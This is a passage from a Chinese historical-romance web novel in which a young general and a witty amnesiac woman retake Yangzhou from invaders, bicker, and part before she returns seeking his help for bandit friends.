阿念赶忙披上衣服起身:“青策你走错房间了,这不是在野外帐篷,条件宽裕了这是我的房间,啊喂!” 面前一米八几大高个直接挂在了她身上,压的她一个踉跄。 “兄弟抱一下,说说…你心里,话。” 阿念无语的推来他:“谁你兄弟,滚。” 青策一个踉跄,一屁股倒在地上,没了往日那副欲擒故纵的冷脸萌,单腿微曲,手掌撑地,巴巴的仰头看她,像只可怜的狼犬。 “干嘛,碰瓷啊,大晚上的您走成吗?” “你为什么偏偏是她。” 阿念没有听清,走近问道:“什么?” 裸露的脚踝被滚烫的手掌抓住:“你为什么是她。” 阿念眼珠一百八十度侧翻,抽出脚狠狠踩撵他手:“我不是。” “那最好。” 他突然单手握上她的小腿,借力起身将她嵌入怀中。 双方的心跳清晰可闻,皆如擂鼓宣天。 青策低头突然凑近,阿念躲开那唇,他却捻住柔软的下巴,迫使其正对自己。拇指抵唇轻吻在指:“明日消息就传回来了,只要你不是她,谁都行。” 阿念推不开,无能干yue,茅的一口把消化一半的晚饭尽数吐在他脸上。 青策瞳孔地震,霎时松开她,自己也yue了。 这下酒醒一半。 阿念看着他无比嫌弃,做势又要yue。赶忙那帕子捂住口鼻,连连后退,不忘甩锅:“你满口酒气,实在太恶心了yue,好恶心,好臭啊你青策yue。” 你一yue我一yue,房间瞬间成毒气弹,阿念的心灵受到极为严重创伤,混身鸡皮疙瘩往外冒,止不住的呕酸水。捂着鼻子边哭边开窗通风:“好恶心,好恶心,我再也不要和你这样的人有瓜葛了。” 青策同样拿帕子捂脸,但这并不能抹去刚刚的糗事:“我去洗澡,你…你先去我房间。” “别碰我,别碰我求你了。我也想洗澡,你去河里洗洗得了。” 7. 爹我要吃水果,五万斤 至扬州城外,往日春光烈焰,绿柳扶风的宝地,如今黑云压城,鸟雀全无。 一帮衣衫褴褛的百姓出城迎接,终得见光明不禁热泪盈眶。 青策众人翻身下马扶起群众,触感嶙峋,个个面黄肌瘦,伤痕累累,亦如初见阿念般的状态。他红了眼眶半跪下来:“我们来晚了,朝廷对不住你们。” 为首男子忙不迭扶住他,明明自己同样泪眼婆娑,却用沧桑的声音反来安抚他:“将军哪的话,都是那荒淫无道的圣人之错!” 并未即刻进城,领头男子带他们来到了郊外。 阿念因昨夜闹剧在车上补觉,被声声哀泣惊醒。不知外头何事,下马探去,只见远处有一巨坑,周遭血红的彼岸花满山遍野,望不到尽头。 她走上前去想一探究竟,却见那万人坑中白骨如山,触目惊心。叫人心脏骤停,汗毛竖起,内心一种难以言喻的情感横冲直撞。 胸膛剧烈起伏,脑海中好似有个雨夜,血腥弥漫,恶臭胆寒。她的眼睛被血雨模糊,体温被血水泡散,身下一旁皆是面目全非的焦尸。往外爬的每一步都匍匐在涣散绵软的尸海中,压的骨头错位咔咔做响,腥腐的味道令人头昏脑涨,恐惧和麻木寒凉刺骨,心口的剧痛却叫她无比想活。 青策为首,众将士跪倒一片,默哀着故去的同胞,以及那段屈辱的血泪史。 扬州城中,倭寇早已四散逃往边境,残留下来的老弱病残,纷纷跪倒一地。 城守府。 军师从梁城来又至万人坑,扇子变成武器,怒气冲冲的进门狠狠劈着空气:“该死!该死!罪该万死!这群倭寇简直丧尽天良!” 里面也正好在讨论这群人的去留,甲:“杀了杀了,都杀啦!” 军师:“砍头砍头,统统斩首示众!” 众人同仇敌忾之际,外头突的下起倾盆大雨,青策低沉着嗓音开口:“若是这般又与他们何异。” 乙将痛心疾首:“将军,对敌人的仁慈,便是对自己的残忍,倭寇当年举国皆兵,为侵略欢呼,为虐杀庆祝,他们并不无辜!” 青策握拳砸桌:“我不恨吗?敌不仁,你我可照其形式,为不义之师?屠戮百姓于大周国法背道而驰,往后他国眼中,我们会成为下一个倭寇。” 众人咬牙不想松口却也无力反驳。 青策叹息道:“将他们驱逐。” “能逃的早就逃了,留下的老弱病残走也无疑是死,根本不愿走。” “赶出去后生死不论,与我们无关。” 不过午时外头的天却伸手不见五指,暗沉的犹如子夜。 狂风暴雨电闪雷鸣,窗户猛的被风吹开。寒风裹挟着雷雨闯入,屋内烛火霎时全熄。阿念赶忙放下书简,去关窗,却怎的也关不上,一用力哐当,掉了。 她嘴角抽搐,跑到楼下求助同僚,干脆找了个木板钉死劳。 外头的天逐渐混淆时间。 又回到了万人坑,这次却只有她孤身一人。暖风轻拂过细长的花瓣,似有闪亮的灵粉被吹动,四散浮空,星星点点飞入白骨之中。尸骨霎时消散与花粉融合,飞向群星璀璨的上空。 暖意却在此时转瞬即逝,浩瀚的星河转变为血红的漩涡。狂风呼啸席卷,高悬的天下速下沉,直至眼前。夜空突兀的变成一个“夜”字在红色漩涡的正中央,“夜”突然放大,字的中间好似一只四白眼,眨了一下。 咚!的一声,窗子连带着木板落下,将人惊醒。睁眼之际刺骨凉风,漆黑一片。房门也被贯穿的气流冲开,那只眼睛挥之不去,且在咫尺,快要将她吞噬。 在她快要断弦惊叫之际,有人敲了敲大开的门,少年沉稳的声音响起:“阿念?” 她甩开被子往声音处跑去,不料被什么东西绊倒,膝盖骨重重砸在地上。咚的一声她痛的有些麻木,也借此唤回了理智。 青策赶忙上前,摸索着将人扶起,点上烛火,但一瞬又灭。 他无奈:“我刚回来,听说你窗户坏了来看看。先去我房里吧,待会儿找人来修。” “嗯。” 她抓着青策的胳膊,手拉伤腿金鸡独立的往外蹦。 “我有夜盲,借你臂膀一用。” 青策左看右看,上看下看:“那个…我抬你?” “不用,谢谢。” 平路过后,面对栏杆般的门槛,她深吸口气。却在起跳直接被人打横抱起。 “我去你作甚,我好不容易突破自我,你毁我道心!”她满眼都是被阻挠后的愤慨。 青策点点头,左耳进右耳出:“人是两腿动物,你好了再跳也不迟,一条腿不剩就完了。” 走廊里,不夜盲且有灯的军师看着她们眯起了眼。 他这屋风水极佳,暖如三月春,静如晴空中。烛光明媚雀跃,雨声窸窣宜人,和旁边那屋一比那简直是鬼屋来的。青策把她下,一边去找活血化瘀的跌打损伤药,一遍嘴贱的还不忘念叨:“冒冒失失的。” 阿念日常翻白眼:“还不是你给自己住好的,给我安排个破屋。诶,有你这么对待功臣的?” 青策递过药瓶,冤枉道:“谁知离的这么近却这般天差地别,我发誓随机安排的。你要喜欢这间,我们换换便好。” 阿念闻言笑道:”可以,很好,在下就笑纳了。“ 两人无话可说后四目相对良久,阿念假笑着歪头看他:“你是想看我的美腿吗。” 青策闻言反应过来,慌忙转身走到屏风之后:“才没有。” 窸窸窣窣一阵后。 “诶,你这啥东东,我去,同心牌。” 青策浑身一激灵,健步绕过屏风直直冲过去抢走红牌牌。 阿念顽皮又耍贱的表情很是叫人恼火。 旁观他焦灼的模样,还乘胜追击着补刀:“你的心上人怎么和我同名。” “你有没有礼貌,怎么的乱翻别人东西!” 阿念破笑,指了指枕头:“它自己歪了露出来的。” 大小伙子红着脸偏头不语,却好似屈辱的快哭了。 阿念见玩笑过头,戳了戳他:“诶,弟弟,我不是你嫂子吗?” 青策蹙眉,躲开她手,气道:“不是,你有多大端什么姿态,莫不是入戏太深。” “哦?不是嘛,都城可有消息,那我是谁?” 他垂眸,下了气又好似释然般嘴硬道:“不知道,应该是奸细。” 阿念赫赫笑道,想来,又苦恼的敲了敲头:“青策,我知道本人风华绝代,世间少有。喜欢我很正常,但是出于同袍之谊,我规劝你,别爱我,没结果。” 青策出气咽气,恼火的捋了把头发怒道:“喜不喜欢我的事,你家也住河边管这么多。” 阿念被他一冲,也来了火气:“你别不识好歹,我这不是在关心你嘛。” 牙齿相磨,他攥紧牌子拔腿就走。 阿念无奈摇头叹息,又不知从何处掏出面镜子,依旧反派笑声,猖狂至极:“啊哈哈哈哈哈,倾国之颜,不怪尔等心悦诚服。” 指尖轻弹肌肤,她沉醉其中:“貌美如花,永远十八。” 门口男人,无语闭目。都城回信,她不是丝莫竹,亦不是府中人。此人疑点重重,行为乖张,才认识多久,怎么就叫人魂牵梦萦。 次日清晨阿念蹲在床边,细细的端详男人。面貌硬朗又不失少年气,鼻梁高挺,桃花眼美,下巴尖尖,脸也窄窄。小麦肤色,身强体壮,穿衣显瘦脱衣有肉。和她站在一起,还挺适合当保镖。 梦中被四个太阳灼烧,青策睁眼,首先是甜美阿念一枚,而后是黑脸军师一个。 阿念还蹲在地上,嬉皮笑脸道:“早安,刚刚他招呼也不打闯我房间,然后被我揍了。” 军师顶个熊猫眼,气的火冒三丈:“怎么回事将军!我早看她不对劲,长得女像还是个哑巴。您…您竟带个女子出来打仗,她是不是那个你半路救的?怎么把她带来了,哎呦真是气煞我也,将军以为军营是儿戏嘛!还有您为什么出主意都不和我们沟通了,临阵变卦把我们这群老东西耍的团团转,您这主意真是愈发大了……唉…唉呀!紧把她送走呀!” 军师压着嗓门气的手舞足蹈,扇子成了他跳大仙的法器。 “不行。”青策脱口而出。 军师一听头发都气直了:“为什么!你们的儿女情长不能等……” “她是本将安插在边境的间谍,于此次收复失地大有用处,丰城之战便是她谋。” 青策坐起身来,沉稳且一本正经的胡说八道。 阿念捂嘴吼吼吼笑道:“将军谬赞。” “谁夸你了!简直毫无章法,凶险至极,休要唬我,一届女流怎么可能!” 阿念不知何时出现在他背后,拿书拍了拍他的肩膀:“你且放心我不会缠着你家将军颠鸾倒凤误了正事的。” 军师的头发下来了,一口气差点背过去,他拿扇子指着阿念:“你你,我现在就把你公之于众,丢出军营!” 眼看他就要揍自己了,阿念赶紧跑到青策身后攀着他肩露出半个头,笑说道:“大战在即,先生此举可是要败了将军威严,扰军心,挫士气?” 装够了,她翘着二郎腿坐到一旁,拿书扇风:“您放心只要我们都闭嘴,各自相安无事,我百利而无一害。” 最后舌战三百回合,阿念胜,军师愤然离场,青策留下一个大拇指后,马不停蹄追去哄军师。 “啊哈哈哈哈哈,老登,不过如此。” …… 晚上青策从澡堂回来,打开衣柜才记起来两人换了房,衣服却没搬。于是敲响了她的门,彼时阿念正双手捻指,盘腿打坐在床上闭目养神。 “进。” 被这半仙的模样逗的一笑,青策手搭侧腰好笑看她:“阿念你这是在干嘛?” 她双手抬起缓缓下沉,深呼吸个来回,古井无波的睁开双目:“我在思考一个问题。” “什么?” “你说为何达官显贵,人在家中躺,美酒佳酿自天来。我等前线拼杀,抛头颅洒热血,要日日吃糠咽菜。真可谓,朱门酒肉臭路有冻死骨,旱的旱死涝的涝死。” 这是嫌饭菜不好,青策思索道:”明日开始,我单独用餐,你与我一道。” 阿念一脸不屑的单手枕头,伸腿躺下:“要么大家都按一个标准来,我才不和你们同流合污。” 青策无奈摊手:“末将做不到。” 她叹息道:“究竟什么时候才能回去,我的钱还在你家呢。诶,你们想好怎么拿下边境了嘛?” 她坐起身:“早点拿下早点回,还叫狗庸王没错处挑。” 青策诚实的摇了摇头:“还没有,倭寇刚中一计,现在严防死守。” 闻此阿念又力竭的躺回,扯闲道:“白日我听城外喧哗,可有何事?” “是倭寇遗留在城中的老弱病残,大多是老人小孩,被赶出城也迟迟不肯走。” 她忽的一个鲤鱼打挺,从床上轻轻跃下,手眼身法步,花手亮眼小碎步。 看着绕身打全的人,青策被她噎了一下:“怎…怎么了?” 阿念慢慢停下动作,高深莫测的眯眼,垫脚附耳:“再来一招,攻心记。” 青策不解:“此言何意?” “你看,这些人都是倭寇的父母和孩子。逃命之际总有跑的快的和跑不动的,从这到边境的路上定还有不少落队之寇。” 阿念曲腿坐下,认真讲道:“如今他们在城外饥寒交迫,必死无疑。我们给他们食物,把他们全打包送到边境门口。” 青策眨眼:“我感受到你的圣光了。” 阿念恨铁不成钢,往他脑门便是一下:“你傻啊,届时倭寇的将领怕有奸细一定不会放他们进去。而逃到城中的人,因为走散或丢下父母孩子本就愧疚,这下人都送到家门口了,怎么可能冷眼旁观,眼睁睁看着他们在城外饿死,何况自己的愧疚会转化成对别人的愤怒…嗯?” 阿念说完一百八十度拧了拧他紧实的脸颊:“你有没有在听。” 青策看她的眼神瞬间成了星星眼,毫不吝啬的夸道:“我去,阿念你可真是个将才!乙军培养了不少间谍,若是他们敢开城门,那便鱼目混珠。如果不开那便用这些倭寇的命逼着他们…” “只可鱼目混珠,不可以命胁迫。把人质送到我们就得撤至隐蔽处,暗中观察。只有自己的安危不受到威胁的情况下,人才有情义。” 青策在她面前像个愣头青,直点着头虚心受教。 “接受也好,不受也好,要的就是他们内乱。” 阿念勾唇:“再来一记,借刀杀人。倭寇现下肯定在向本国求援,倭国背后是北狄,他们身处北境极寒之地,早想逐鹿中原,而倭国就是一个很好的口子,也是块不美味但能勉强饱腹的糕饼。” 青策思索:“门关大开,引狼入室,是否太过冒险。” “不入虎穴焉得虎子。” 枝丫被风催折发出脆响,她看向窗外:“寒冬将至,何不让朝廷出面交涉,给北狄提个醒,再援助些粮草和食物。届时两 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阿念切回正题:“军队里是不是该论功行赏。” 他未曾抬头,认真写字:“嗯,怎么,你想要什么?” “水果。” “什么?” 阿念又道一遍:“水果。天天小米加干饭,我要吃水果,你写密保的时候顺便申请一下。倘若那朝中扣的不给批,我往后也不给你们出主意了。” 青策不知道该说她什么好:“你想吃什么水果,不管多远我明日就叫人采买来。” “独乐乐不如众乐乐,一个人吃多没意思,我要大家全都吃。” 青策在次沉默,最终妥协:“好吧,但不能写密报里。我寄封家书,叫我爹出出血。” 阿念哼笑,竖起大拇指:“大孝子。” 青策笑道:“彼此彼此,诶你署名什么,阿念?说来你是不是该给自己取个正经名字。” 她晃了晃腿:“我要署名干嘛。” “不是你出的主意?” 阿念起身连连拒绝:“职场生存指南中记载,我的功劳全归属于上司您,都是您栽培的好,知遇之恩无以为报,都是您慧眼识珠。” 青策无语:“该你的就是你的。” “你能不能风趣点,非得把话说明了。木秀于林风必摧之,一个没有靠山的无名氏突然暴露在大众视野,我力所不能受。水果就够了,多了要不起。” 帝都。 青曲接到儿子的家书:爹我要吃水果,五万斤。 他眉心跳了跳再三确认是儿子笔记后回信:你是饕餮嘛,还是脑子进水了。 “将军,殿下宣您入宫。” 暗沉空荡的大殿中,那人长身玉立,玄袍垂地,于画像前负手而立。 画中女子手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮。醉画之人薄唇轻启,面如冠玉。剑眉星目,尾羽凌厉,赋有万古长恒的神像,却不知为何令人惧怕,许是白雪般的脖颈处,那条触目惊心的疤痕。 “殿下,青将军到了。” 周冷渊小心翼翼的收起画卷。 他面无表情的看完书信轻笑道:“阿策当真青出于蓝而胜于蓝。扬州一战伤亡极低却致使敌方全军覆没。如今之计也是极好,孤会立马派人与北境交涉让他放心。” 阿念苦等数日,餐桌上根本未见半个水果的影子,饭也依旧寡淡。不吃吧,饿,塞饱吧委屈了肚。 她撂下筷子起身就要回房,亲卫们还在用饭闻此关切:“阿念你不吃饭吗?” 她把饭盆挪给他们,摇了摇头。 本来就够惆怅了,半路却碰上群吊儿郎当的。 “诶那家伙怎么回事长的白唧唧的,跟个娘们似的。” 阿念维持哑巴人设,视而不见准备走人。 “诶那个谁,问你话呢,你哪来的?” 对方不依不饶,一把拽住了她的胳膊,阿念蹙眉死命挣脱。 甲拽着她轻松拎起:“他好像是将军身边的吧,平常都和亲卫走在一起。我说确实,他怎么看也像个兔爷,你们瞧,一点肉也没有,怎么轻。诶…你们说他该不会……” 众人你一言我一语的□□起来,阿念咬牙切齿,死死咬住甲的手臂挣脱,往他们裆处就是猛踹。 好歹是练武的,一人遇袭,其余人蜂蛹而上,三下五除二便擒下阿念。 被踹那人倒地缩身:“我草你大爷,给我揍他!” 众人抬拳起脚,却有一丝游移:“他毕竟是将军的人…” “军队里拳脚相加不常见嘛,何况是他先出阴招,怎么就因为他买屁股就高人一等了!” …… 计划稳步进行,青策和将领们商讨完后续事宜,看着老爹的信陷入惆怅。看了看时间点,准备去饭堂负荆请罪,却在路上撞见这一幕。 阿念护着头闷声受着拳打脚踢,疼痛令人清醒,她抓准时机捡起一把沙子扬了他们满眼。 众人彻底被激怒:“扒了他给我吊起来打!” “你,打谁!” 开口叫嚣的人最先被一拳打倒,血混着碎牙飞溅。 众人看清来人赶忙跪下:“将军。” 众人还未反应过来,被群殴在地的阿念,唰一下满血复活,挨个踩倒,握拳猛砸。直到力竭才被青策托开,她双目血红,呵着气,久久难以平复。 回了房中,看着自己破相的脸,青紫的眼角和高肿的嘴角。雄鹰般的女人伏在桌上哭了。 青策想安慰又不知怎的开口:“人我都教训了,你别哭,要觉得不解气我再叫人去抽他们一顿。” 阿念鸟都不鸟他,自顾自的悲伤。 他默默站在一旁倒水:“你要不喝点水吗?感觉你哭的太多了,会不会缺水。” 依旧不理不睬。 日落西山,天色渐黑。山里忽的冲出来的黑影。 守卫甲大惊:“有刺客!” 守卫乙:“有这么明目张胆的刺客吗?” 守卫丙:“不确定再,看看。” 来人扛着个小麻袋,衣兜里还兜着不少红果子,整个人灰头土脸,头上还插着树枝和叶子。一霎鸦雀无声,三人赶忙上前帮他拔掉树枝,掸去尘土:“将军您这是……早说这种事交给我们便好,要我们帮忙不?” “不要紧。”青策一个闪避,直径路过他们,急匆匆跑后院打了桶水开始清洗野果。 8. 舍本逐末 清阳者上浮,浊沉者下降。 挨个细筛,他将最好的果子呈至美人面前。 阿念发泄完正拿冰袋敷脸,见此没有要动嘴的意思,只是礼貌道:“谢谢。” “你还没吃晚饭吧,想吃些什么?” 她神色依旧淡然,支撑着酸痛的身子,扶腰起身:“没有,谢谢。” 青策眼尖,注意到凳子上的血。霎时大惊失色,上前扶住她往床边走:“阿念你别动了,你流血了。” 他咬牙切齿:“这帮该死的下手这么重,你先躺着,我这就去找大夫。” 阿念闻言转身一看,拽住脱缰的野马:“无妨,是月事不是内伤。” 触及视野盲区了,青策满头问号:“什么?” 阿念懒得解释,坐回了凳上:“每月固定放血,正常生理反应。” 毛头小子依旧云里雾里摸不着头脑:“真没事?不行,还是得叫人瞧过,我去请外头的郎中,不叫军医。” 阿念刚要开口,青策率先驳回:“别逞能了。” 她精疲力尽的闭眼叹气:“洗澡。” “行,你等着,我去打水。” …… 月明星稀,良禽择木,窝枝而眠,夜阑人静。 指节分明的手轻叩木门:“阿念,大夫来了。” 吱呀轻响,木门从里头打开。阿念套着身宽大的衣袍,黑发如瀑,显的整个人清静疏离。 青策喉头一哽,面颊微红小声道:“你怎么穿我衣服。” “忘拿衣服了,借一下,洗干净了还你。” 他红着脸,支支吾吾:“那也…” “小气的很,我总不能光着跑到隔壁去,你们不怕长针眼嘛。”阿念心绪不佳,照例一百八十度翻白眼。 她侧身给大夫让位,两人先后走入屏风。 青策带上门,无意瞥见那瓷白如绸的肩背,冰肌玉骨的琼脂。心脏忽的猛起大落,迅速合门落锁。 大夫给人检查完,发现门打不开了。她胆寒着默默转头对向阿念:“虽说这趟给的多,但我不会要栽在此处了吧。” 阿念同样一脸懵,两人从里头疯狂捶门,本就酸痛的四肢雪上加霜。 只见鸟雀四散,青策端着碗回来就听木门在哭,咚咚咚的哭。 他疑惑看向门口亲卫:“你们关她俩做什么?” 两人一脸被贼喊捉贼的模样:“将军,是您方才锁的。” “救命啊,我才二八年华,我不想死,赚完这比我还要带女儿回老家呢!妹妹你给姐求求情吧,啊呀妹啊…” 听着大夫绝望的喊声,青策大脑空白一瞬:“……那你们光听着,开门啊。” 两人被训的挠头:“将军您落的锁,我们哪敢开。” 又赔一笔精神损失费,阿念这下无语的笑了。青策无奈叹了口气推过面碗:“先吃点吧,药在煎了。” 绿油的菜叶浸泡在茄红的汤汁中,虾肉剁碎成球,肥牛削薄成片。阿念不经感叹:“会吃。” 顺滑的面条裹挟着酸甜咸鲜的汤汁,入口甜而不腻酸而不涩。菜白软嫩,清淡适中。虾滑弹牙,肥牛味美。 这可谓是阿念失忆以来吃过最好吃的饭了,犹如踩着番茄翱翔九天,云朵变成菜白,坐上肥牛飞毯,顺着面条往上爬,空中下起了虾滑雨。 青策打量着她的神色,笑着询问:“还成吗?” 阿念毫不吝啬赞扬:“非常之成,太有层次了。简直唇齿留香,叫人回味无求。” 他笑着捻了捻衣料:“你要喜欢,下回还给你做。” “你做的?” “嗯。” “天呐,将军您上得厅堂下得厨房,不愧为大周第一青年才俊。” 青策被夸的脸红,起身踱步:“倒也没有这般夸张,那个,药应该好了,我去看看。” 他端来碗药:“对了,大夫说你从前的药和这个药性相冲,从前的就先停段时间。” 阿念闻言莫名想到扬州那颗被她用药浇死的无名草,罪过罪过,下次倒恭桶里。 “还说你腰有旧疾,这段日子小心些,别大动干戈。甲乙往后就跟着你,出门别甩下他们。” 她哼哼笑道:“好的。” “青策。” “嗯?” “你教我点防身术呗。” “好。” …… 天朗气清,惠风和畅。捷报也随之而来,倭寇的老弱病残在城外快要饿死之际,终于是分批筛选给他们允许入境了。 一部分细作乔庄易容,办成孤寡老人,第一批就混入其中。第二批传奇耐饿王被进城的第一批认领,蒙混过关。 和北境的盟约也秘密签订下来,三日后就一举进攻。 鸟雀欢叫,枝丫随风晃荡。 窗外蓝天白云,阳光和煦。阿念背对着他,褪下衣衫,露出半个肩背。青策闭着眼,颤抖的手拿着膏药盲贴:“这吗?” “左边点。” “这?” “没错。” 粗粝的手指不慎与细腻的肌肤相触,他慌忙撤手。 “你拍两下没粘牢。” 啪啪两下,阿念险些吐血,迅速拉上衣服吐槽:“年轻人手劲真大。” 青策如释重负,叹了口气:“怎么,你老年人。” 阿念转头,抛来两个媚眼:“青葱少女。” 多余问,青策无语扶额:“对了大战在即,我明日动身,你且安心留在这处。” 阿念点了点头,掏出一个歪歪扭扭的荷包递给他,上边绣着的“平安”两字却极其端正:“虽说胜券在握,但是这次免不了正面开战。定有伤亡,万要小心。只要逼得倭寇渡江回逃,切莫要追,拿回城池便好。” “虽没上过战场,也可知风云变幻,异常凶险。明枪易躲,暗箭难防。袋中都是解毒之药,倘若…或救别人,外敷内服皆可,左隔蓝实解毒,右隔蒲黄止血,撒在伤处,口中亦含。记住了。” 青策拿过荷包轻轻攥着:”多谢。” 阿念撒撒手:“小小敬意不成心意。” 次日一早青策套上铠甲,将荷包挂上,立于门外轻声道:“早安。” “啊!今天爷爷就要去收拾那帮孙子,补完整我大周疆域啦!” 不知道楼下哪个二楞子大早上在院子里乱吼 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一股浓烈的药草味扑鼻而来,亲卫一瞬滑铲到床边,将军将军的嚎。同僚无语的把他们拉开:“诶…别吵到将军。” 阿念逮着军医就开始问。 “将军手臂中箭,伤口不深只是淬了毒,还好随身的香囊里有解药。用药及时并无大碍,现在还睡着是因为这几日疲劳过度,刚好借着毒劲发了出来。” 她这才刚松了口气,不料军师这时过来,正巧撞在枪口上。 阿念一口气又窜了上来:“你老糊涂了吗!干嘛不遵将令,为什么要贪功冒进,害死这么多人,还害的主将中毒,伤敌一千自损八百。明明都可以规避的事,你到底为什么!” 场面一度混乱,亲卫拉着张牙舞爪的同僚,年过半百的老头被个小姑娘指着鼻子骂,他竟下意识竟有些畏缩,握拳切齿。 “因为…当年战乱我一家老小全死于倭寇毒手,我不甘心!” 阿念咽下口气,痛心疾首道:“那如今的士兵呢?他们也是别人的孩子和丈夫,别人的爹爹和弟兄!他们是活生生的人,并非你的棋子。仇是要报,但并非舍本逐末,叫亡魂再添。这次害死他们的不是倭寇,是你。如此鲁莽,配居高位。” 过了两日,青策费力的睁开眼,只见阿念顶着鸡窝头趴在床边睡着了。他想起身,却发现自己腰膝酸软,浑身无力,动一下都困难。 “你醒了?感觉怎么样?” 青策咳了两下,咽了咽沙漠般的喉咙:“还行,就是没力气。” 阿念探了探他的额头,烧已全退。坐下给他喂了些水,郑重道:“将军你中的是能令人半身不遂的毒,你这下半辈子怕是再无儿孙绕膝之福。没都没了,以后就继续往前冲去吧。” 青策被她气的呛水,要不是腿略微能动,他差点信了:“我谢谢你。” 阿念摆手:“哪的话,不必客气。” …… 朝中太子呈捷报献上,庸王彻底称病退居幕后。太子摄政,大军班师回朝。 9. 霸道少将强制爱 托他的福,阿念又坐上了豪华版马车,空间之大,能来一套行军拳。青策感念她军功卓越,果干和零嘴应有尽有,如此良辰美景,叫人惬意非凡。 其旂淠淠,鸾声嘒嘒,旌旗飘摇,马蹄铃脆。 临近城外,远远可见恭贺凯旋的百姓。这一战解了太多人心中压抑的一口恶气,人声随着队伍的临近鼎沸起来。 阿念戳了戳一旁看书到青策:“待会儿我在茶馆等你,你帮我把暖阁二楼,左手边柜子底下的钱拿出来。” 青策翻书的手一顿,强装镇定道:“好,你下一步是准备做什么?” 阿念笑眼弯弯:“无可奉告。” 阳光透过竹节做的车帘,高举的书后,眼底的泪水折射出晶莹的亮闪:“噢。” 这不拿不知道,一拿吓一跳。青策看着衣柜底下厚厚一沓票子,以及金饼玉贝:“这都不舍得结账,貔貅来的吧。” …… 茶馆包厢,他冷脸将满满一袋钱币啪的甩在桌上。插手昂头:“走了。” 阿念数着钱,点了点头:“将军慢走。” 青策眼看着就要抬脚出门,转头见她还一门心思在数钱,咬牙道:“你数什么数,我还偷你的不成。” “话说那么难听呢,您天潢贵胄哪瞧的上我这些个。我就是怕这点小钱入不了您的眼,叫风刮跑了都不在意,这才点点数嘛。”阿念心无旁骛,眼都没抬。 青策握拳又折返回来:“你哪来这么多钱?当天和那书生夫妇分别后去了哪?和谁接应了,这钱能顶朝中官员好几年俸禄了。” “我咋知道,兴许去盗墓了。” “谁的墓不用金银器皿用流通货币?” 阿念一着不慎数错了,不耐烦的皱眉道:“你烦的很,赶紧回家去嘛,天都要黑了你娘不骂你。” “你突然这么大的现金流,我怀疑你有不正当勾结,一定是奸细。随我回去。” 阿念依旧翻眼:“就算有万分之一的可能从前是,现在也不是了。我既失忆,就和前程往事再无瓜葛。本姑娘如今浴火重生,坦坦荡荡,行的端坐的正。” 青策指节发白,无力的重叹,四十五度抬头不让泪落:“你到底有没有把我当朋友。” “啥,没听清。” 他匆匆出门,拎来个包裹重重扔下,脸色变得极为难以接近:“药,还有你穿过的破衣服。” 一阵清风袭来,怀中一暖,尔雅的淡香萦绕身侧。 “谢谢你青策,再见。” 后背被轻拍两下,大颗的泪珠再也攒不住。和她在一起的日子,一颗心总是跌宕起伏。青策嘴唇颤动,眨眼推开她扭头就走。 青曲刚从宫中回来神采奕奕,隔着十里地都能感受到他喜悦。 眼见大功臣,正想打声招呼,定睛一看,儿子在哭。 青曲楞楞的翻身下马抓住他:“策儿你…哭什么?” 他颤抖着嘴唇不语,甩头就走。青曲一下怒了:“诶你眼里还有没有我这个爹,男子汉哭哭啼啼像什么样子!” 青曲又一把逮住个亲卫:“他怎么了?” 亲卫眼珠左转右转。 “你也皮痒了!” “回将军,少将…他,失恋了。” 青曲闻言,神色变得缓和,奇怪的八卦道:“失恋了?和谁?那个捡来的女人?” 亲卫求爷爷告奶奶:“将军您就别问了,再多讲您不打死我,少将他也饶不了我去。” 青曲放开他:“怎么个失恋法,那女子得了不治之症要离开他?” 亲卫差点没笑出声来:“不…不是,是人家压根不喜欢将军。” 青曲闻言不可置信道:“这小子还有今天,不过你个皮猴笑什么!我儿子这么优秀,那姑娘也是不识好歹。” “是是是,将军卑职先行告退。” …… 半年后。 是夜,亲卫甲乙正每人一只眼,凑成一对睁着站岗。忽的跑进来个人,下意识刀锋先行出鞘,两人瞬间警觉,做出战备状态。 “是我,是我。”来人抬手,露出张熟悉的脸。 “阿念!” 阿念嘿嘿一笑,压低声音道:“将军呢?睡下了?” 两人点了点头,同样压着声道:“你怎么来了,你咋进来的?” 她晃了晃手上的令牌。 甲啧啧啧道:“阿念你也够坏的,当初拍拍屁股走人,如今又来找我家将军做什么?” 她垂眸:“迫不得已。” 阿念抬眼,和手作揖:“走头无路求求了。” 看着她央求的模样,两人无语翻眼,抱剑站回原岗:“将军睡下了,有事明日说。” “不行,性命攸关,求你们了。我给你们买一个月草莓干……两个月两个月……诶呦!三个月,在不答应我直接喊了。” 两人叹息:“好吧。” 扇门推开,夜色中那张熟悉的脸巧笑着印入他的梦中。 “将军,将军。” 被搅了美梦,青策不耐烦的睁开眼睛:“作甚?” 乙眨眼道:“好消息将军。” “有话快说。” “阿念来了。” …… 木门缓缓打开,少年将军墨发垂髫,高高束起。眉眼清俊,清风朗月。他淡淡的看向石阶下的故人。 阿念见他来了,立即露出两颗门牙小跑上前。捏肩捶臂:“青策,打扰你睡觉了对不起呀。” “令牌还我。” 他语气冰冷不见温度,阿念垂眸,双手将牌轻放在他手中,也没了嬉皮笑脸:“你能不能帮我个忙。” 想说不能,见她搭眉丧眼的模样,青策昂头不悦:“什么事?” “我朋友被抓了,你捞捞他,可以吗?” 这么快就有新朋友了,青策看着夜空咬牙:“叫什么,犯什么事了。” “江大鼠、许二牛、张三虎、蒋季兔、白五龙、孟六蛇、赵七马、郑八羊……” 众人越听越诡异:“阿念你报菜名呢?” 她急得跺脚:“就是我朋友,还有戴九猴,鲁十鸡……” 青策捂上她的嘴,满脸不爽:“你到底有什么事?” 阿念一把拿下他的手,又想起来自己是来求人的,于是端足了姿态,咬唇道:“一天,我在路上碰见伙山匪,他们要打劫我,但是看我穷的叮当响,不劫了还给我吃的…” “你的钱呢?花完了?”青策怕她没钱吃饭,拎着胳膊左看右看,胖了不少。 “没有,缝在布袋内隔了,财不外露嘛。” 青策无语的撒手扶腰继续听她扯。 “然后我觉得他们人还挺好,就跟他们走了…” 甲率先一步睁大眼睛:“走了?阿念,你不怕被拐吗什么人都跟。” 她不耐烦的发力急:“你们别打断我!” 阿念恼火着,干脆挽住青策的胳膊就往里走,还韧性极好的后踢腿带上了房门。 突然贴近的距离叫心跳加速,肌肉和骨骼的感触,一步一步碰撞分合。 青策抽手,隔开距离:“有话快说,我明日还得上朝。” 阿念连连点头:“好的好的,总而言之就是我跟他们上了山寨,亲眼见到了他们劫富济贫帮扶老幼,还收容流离失所的孩童妇女。被这份乐善好施狠狠感动,把所有的钱都拿了出来,叫他们金盆洗手,做正经营生。怎料反响不要太好,他们寨主就退位让贤了。” 